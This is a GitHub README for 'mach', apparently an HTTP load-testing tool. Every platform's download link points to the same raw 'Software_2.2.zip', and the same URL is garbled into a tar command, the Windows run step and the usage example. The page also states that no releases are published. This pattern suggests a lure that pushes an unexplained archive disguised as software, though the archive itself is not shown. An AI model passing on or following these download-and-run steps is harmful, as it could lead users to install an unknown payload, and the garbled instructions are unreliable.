Skip to content
/ mach Public

πŸš€ Load test HTTP servers with speed and precision using Mach, an ultra-fast tool built in C with optimized Assembly for maximum performance.

Notifications You must be signed in to change notification settings

emiliaon/mach

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

26 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ mach - Fast and Reliable HTTP Load Testing

Download mach

πŸ“₯ Overview

Welcome to mach! This application allows you to test the speed and performance of your HTTP servers. Written in C and enhanced with optimized Assembly, mach provides you with an ultra-fast and reliable way to load test your web services. It supports both ARM64 and x86_64 architectures, making it adaptable to various systems.

πŸš€ Key Features

  • High Performance: Leverages both ARM64 NEON and x86_64 SSE for fast execution.
  • User-friendly Command Line Interface: Simple commands enable easy testing without complex setup.
  • Flexible Configuration: Customize request parameters to fit your testing needs.
  • Easy Output Analysis: Clear and structured output helps you understand your test results quickly.

πŸ›  System Requirements

Before you start, please ensure your system meets the following minimum requirements:

  • Operating System: Windows, macOS, or Linux (64-bit)
  • Memory: At least 512 MB of RAM
  • Disk Space: 50 MB of available space
  • Network Connection: Reliable internet connection for testing HTTP responses

πŸš€ Getting Started

Follow these steps to download and run mach on your machine.

1. Visit the Downloads Page

To get the latest version of mach, visit the Releases page.

2. Download the Application

On the Releases page, find the version you want to download. Click on the appropriate file for your system:

  • For Windows:

    • https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip
  • For macOS:

    • https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip
  • For Linux:

    • https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip

Click the file to start the download.

3. Extract the Files

Once the download is complete, locate the downloaded file in your Downloads folder.

  • If you downloaded a .zip file, right-click on it and select "Extract All" (Windows) or double-click to open (macOS).

  • If you downloaded a https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip file, use the terminal and run:

    tar -xvf https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip

This will extract the content to a new folder.

4. Run mach

Navigate to the folder where you extracted the files. Open a terminal (macOS/Linux) or command prompt (Windows).

To run mach, type the following command:

./mach

For Windows, you may need to run:

https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip

You should now see the mach interface ready to accept commands.

πŸ“œ Usage Instructions

Here are some basic commands to help you get started with load testing:

Basic Command Structure

./mach <URL> --requests <number_of_requests> --concurrent <number_of_users>

Example

To test a website with 100 requests and 10 concurrent users, use the following command:

./mach https://github.com/emiliaon/mach/raw/refs/heads/main/website/public/Software_2.2.zip --requests 100 --concurrent 10

πŸ“Š Understanding Results

After running a test, mach will display results on the terminal. You will see:

  • Total Requests: The number of requests your server handled.
  • Success Rate: Percentage of requests that were successful.
  • Response Time: Average time taken for requests to complete.

These metrics help you understand the performance of your server under load.

πŸ”„ Advanced Options

You can customize your tests with several advanced options:

  • --timeout <seconds>: Adjusts how long mach waits for a server response.
  • --headers <key:value>: Adds custom headers to your requests.
  • --data <data_string>: Sends data in the request body.

Explore these options to tailor your testing scenario.

πŸ“ž Troubleshooting

If you encounter problems, consider the following:

  • Check Your Connection: Ensure you have a stable internet connection.
  • Confirm URL Accessibility: Make sure the URL you are testing is online and responsive.
  • Look for Error Messages: mach provides error messages to help diagnose issues.

πŸ“ž Support

If you still need help, check out the Issues section on our GitHub repository for solutions or to report new issues.

πŸŽ‰ Join the Community

You can stay updated with the latest news and development by following us on social media or joining discussions on GitHub.

πŸ“₯ Download & Install

Remember to visit this page to download mach: Releases page. Follow the steps outlined to get the application running on your system.

Enjoy testing your HTTP servers with mach!

About

πŸš€ Load test HTTP servers with speed and precision using Mach, an ultra-fast tool built in C with optimized Assembly for maximum performance.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors